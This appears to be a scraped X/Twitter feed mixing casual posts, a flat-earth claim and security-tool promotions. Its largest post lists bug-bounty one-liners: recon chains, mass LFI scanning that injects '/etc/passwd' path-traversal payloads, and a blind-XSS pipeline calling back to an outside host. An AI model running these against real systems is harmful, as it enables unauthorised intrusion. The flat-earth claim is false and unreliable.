Slimjim

The state of regret or applause solely depends upon man's ability to juggle between force for REASON and reason for FORCE.

[Slimjim @_jimsfeed]

@ANIMALS_MOMENT AI

[Mirokunite @Mirokuofnite]

@WeaponsVault Some of my favorite headlines involve them.

[Slimjim @_jimsfeed]

@gossip_kenyan Hii ni ile ya ku-riet with a 'pop' sound

[Slimjim @_jimsfeed]

@MexAmeRus @TheFlatEartherr Its flat and round (the north pole at the centre, the south pole all around the edge)

Just not a globe

[Decabyte @decabyte_info]

Full Web Ethical Hacking Course ✨🧑‍💻🚀

Download Link 🖇️
https://t.co/oSKnM7sycW

[TheOuts1derX @TheOuts1derX]

WAF Bypass Cheat Sheet

Cloudflare, Akamai, AWS WAF, ModSecurity, Imperva, F5 BIG-IP, Sucuri, Wordfence, Azure WAF, FortiWeb, Barracuda

Detection tips + XSS, SQLi, RCE, SSRF and Path Traversal bypasses for each one

Full database with 150+ payloads inside Bug Bounty Center → https://t.co/iP2Vdar8Tk

Try it free for 30 days

#BugBounty #BugBountyTips #WAF #WebSec #AppSec #Cybersecurity

[Thierry @0x7hierri]

@K10594Stanley That’s only possible with an adapter that supports monitor mode + packet injection. Linux alone won’t let you capture beacon frames or send deauth packets.

[Slimjim @_jimsfeed]

@Hamzythacreator ATP, the only thing giving AI away is the pose...we can all agree that AI is getting out of hand.

[Slimjim @_jimsfeed]

@QuietStorm254 @KResearcher Underrated comment..iykyk

[Aivetra Maxine @Hey_Aivetra]

All Paid Courses (Free for First 4500 People)

𝗣𝗮𝗶𝗱 𝗖𝗼𝘂𝗿𝘀𝗲 𝗙𝗥𝗘𝗘 (PART - 1)

1. Artificial Intelligence
2. Machine Learning
3. Cloud Computing
4. Ethical Hacking
5. Data Analytics
6. AWS Certified
7. Data Science
8. BIG DATA
9. Python
10. MBA

(72 Hours only )

To get-
1. Like & Retweet to get DM
2. Reply " All "

[D4rk_Intel @d4rk_intel]

VULSCANNER - Web Security Scanner

This tool automates comprehensive web app security checks - including SQL Injection, XSS, broken access control, missing security headers - and includes powerful OSINT lookup!

#OSINT
#Cybersecurity

[Brut 🇮🇳 @wtf_yodhha]

⚡𝗕𝗿𝘂𝘁𝗗𝗿𝗼𝗶𝗱 𝟮.𝟬 - 𝗔𝗻𝗱𝗿𝗼𝗶𝗱 𝗦𝘁𝘂𝗱𝗶𝗼 𝗣𝗲𝗻𝘁𝗲𝘀𝘁 𝗔𝘂𝘁𝗼𝗺𝗮𝘁𝗼𝗿: 𝗦𝘁𝗿𝗲𝗮𝗺𝗹𝗶𝗻𝗲 𝗺𝗼𝗯𝗶𝗹𝗲 𝗽𝗲𝗻𝘁𝗲𝘀𝘁𝗶𝗻𝗴 𝘄𝗶𝘁𝗵 𝗮𝘂𝘁𝗼𝗺𝗮𝘁𝗲𝗱 𝗲𝗺𝘂𝗹𝗮𝘁𝗼𝗿 𝗿𝗼𝗼𝘁𝗶𝗻𝗴, 𝗙𝗿𝗶𝗱𝗮, 𝗮𝗻𝗱 𝗕𝘂𝗿𝗽 𝗦𝘂𝗶𝘁𝗲 𝗶𝗻𝘁𝗲𝗴𝗿𝗮𝘁𝗶𝗼𝗻.

✅https://t.co/83cIMya4OL
⭐𝗗𝗼𝗻'𝘁 𝗳𝗼𝗿𝗴𝗲𝘁 𝘁𝗼 𝗹𝗲𝗮𝘃𝗲 𝗮 𝘀𝘁𝗮𝗿 :)
✅ Join Telegram For More Content: https://t.co/IEEAE1bbag

----------------------------------------------------------
⭐ Found this helpful? Like, Share & Level Up Your Skills!

#CyberSecurity #BugBounty #EthicalHacking #Infosec #BrutSecurity #Android #Pentesting

[TheCyberPatronNetwork © @TheCyberPatron_]

As a SOC Analyst

[Brut 🇮🇳 @wtf_yodhha]

⚠️wpprobe - WPProbe is a fast and efficient WordPress plugin scanner that leverages REST API enumeration (?rest_route) to detect installed plugins without brute-force.

🖥https://t.co/A5cUPkxoIH
✅Join Telegram For More Content: https://t.co/IEEAE1bbag
----------------------------------------------------------

📖 Your Ethical Hacking Journey Starts Here → https://t.co/xD71mp32c1
🎓 Ready to Skill Up? Enroll Now → https://t.co/6zSWj0mI4F

📢 Join the Community & Stay Updated:
📱 Discord: https://t.co/A2lB4DJSY9
💼 X (Twitter): https://t.co/8iSGOIqVsE
⭐ Found this helpful? Like, Share & Level Up Your Skills!
#CyberSecurity #BugBounty #EthicalHacking #Infosec #BrutSecurity

[Gospel @4osp3l]

It is possible for hackers to capture your credentials or any sensitive information via MITM while you're browsing through unencrypted connection ( HTTP ).

[OccupytheWeb @three_cube]

Open Source Intelligence (OSINT): Sherlock, the ultimate username enumeration tool!

https://t.co/2cTAT0AJFx

[X @TheMsterDoctor1]

# **Awesome Advanced Bug Bounty One-Liners**

**For elite recon, subdomain enumeration, LFI, and takeovers. Optimized for speed, signal, and stealth.**

---

## **One-Line Recon Using `pd` Tools**
```bash
subfinder -d https://t.co/uswJhBLJXF -all | anew subs.txt \
&& shuffledns -d https://t.co/uswJhBLJXF -r resolvers.txt -w n0kovo_subdomains_huge.txt | anew subs.txt \
&& dnsx -l subs.txt -r resolvers.txt -silent | anew resolved.txt \
&& naabu -l resolved.txt -nmap -rate 5000 | anew ports.txt \
&& httpx -l ports.txt -silent | anew alive.txt \
&& katana -list alive.txt -kf all -jc | anew urls.txt \
&& nuclei -l urls.txt -es info,unknown -ept ssl -ss template-spray | anew nuclei.txt
```

---

## **Subdomain Enumeration**

### **Juicy Subdomains**
```bash
subfinder -d https://t.co/axAPlulNpQ -silent | dnsx -silent | cut -d ' ' -f1 \
| grep --color=auto -Ei 'api|dev|stg|test|admin|demo|stage|pre|vpn'
```

### **Online Intelligence Sources**

- **https://t.co/jAGHHZtWeE**
```bash
curl -s https://t.co/tq8S4NWLHp | jq -r .FDNS_A[] | cut -d',' -f2 | sort -u
```

- **https://t.co/LpbyKxszay**
```bash
curl -s "https://t.co/OE0qR90HDg" \
| grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
```

- **RedHunt Labs**
```bash
curl -s --url 'https://t.co/CytBwhOmEC' \
-H 'X-BLOBR-KEY: API_KEY' | jq -r '.subdomains[]'
```

- **Nmap NSE**
```bash
nmap --script hostmap-crtsh.nse https://t.co/axAPlulNpQ
```

- **CertSpotter**
```bash
curl -s "https://t.co/pUUT7Y6oLN" \
| jq .[].dns_names | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
```

- **Wayback Machine**
```bash
curl -s "https://t.co/MQOIqfjZVI" \
| sed -e 's_https*://__' -e "s/\/.*//" | sort -u
```

- **JLDC**
```bash
curl -s "https://t.co/InurYe65wh" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
```

- **https://t.co/3SNVM49m71**
```bash
curl -s "https://t.co/CRvLJfSWd2" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
```

- **ThreatMiner**
```bash
curl -s "https://t.co/Vl4K1jpfb7" | jq -r '.results[]' \
| grep -o "\w.*https://t.co/axAPlulNpQ" | sort -u
```

- **ThreatCrowd**
```bash
curl -s "https://t.co/2QueBdr500" | jq -r '.subdomains[]?' | sort -u
```

- **HackerTarget**
```bash
curl -s "https://t.co/PjInwgSS18"
```

- **AlienVault**
```bash
curl -s "https://t.co/xka18lSPBi" \
| grep -o '"hostname": *"[^"]*' | sed 's/"hostname": "//' | sort -u
```

- **Censys (CLI must be installed and auth configured)**
```bash
censys subdomains https://t.co/axAPlulNpQ
```

---

## **Subdomain Takeover Detection**
```bash
cat subs.txt | xargs -P50 -I% bash -c 'dig % | grep CNAME' \
| awk '{print $1}' | sed 's/\.$//g' \
| httpx -silent -status-code -cdn -csp-probe -tls-probe
```

---

## **LFI Payload Scanning**

### **Using `gf`, `httpx`, and `/etc/passwd` filter**
```bash
cat targets.txt | gau | gf lfi | httpx -paths lfi_wordlist.txt -threads 100 \
-random-agent -x GET,POST -tech-detect -status-code -follow-redirects \
-mc 200 -mr "root:[x*]:0:0:"
```

### **With `qsreplace` for fast payload injection**
```bash
cat targets.txt | gau | gf lfi | qsreplace "/etc/passwd" \
| xargs -I% -P25 sh -c 'curl -s "%" | grep -q "root:x" && echo "[+] VULN: %"'
```

### **Raw Curl LFI Bypass with Path Traversal**
```bash
cat targets.txt | while read host; do \
curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" \
| grep "root:*" && echo -e "\n$host \033[0;31mVULNERABLE"; done

**✅The best one liner XSS **

`subfinder -dL domainlist1.txt | dnsx | shuf | (gau | | hakrawler) | anew | egrep -iv "\.(jpg|jpeg|gif|tif|tiff|png|ttf|woff|woff2|php|ico|pdf|svg|txt|js)$" | urless | nilo | dalfox pipe -b https://xss.hunter/?q=1`

## Shodan Cli
```
shodan search https://t.co/KfCB0DKXd9:"https://t.co/axAPlulNpQ" --fields ip_str | anew ips.txt
```

#bugbountytips #bugbounty #hackerone

[DяA | daniruiz @dani_ruiz24]

I've been packaging multiple new tools for Kali Linux
💠bloodhound-ce-python: BloodHound CE ingestor
💠bopscrk: generate smart wordlists
💠donut: run shellcode from memory
💠ldeep: ldap enumeration
💠tinja: template injection
💠chisel-common-binaries
💠ligolo-ng-common-binaries

[Harshleen @0xharshleen]

📌 Complete OSCP roadmap.
📌 Labs, hands-on exercises & CTFs.
📌 Exploitation techniques & privesc tricks.
📌 Post-exploitation & lateral movement tips.

🔗 GitHub Repo: https://t.co/DOCMt5UmfR
- MD KAIF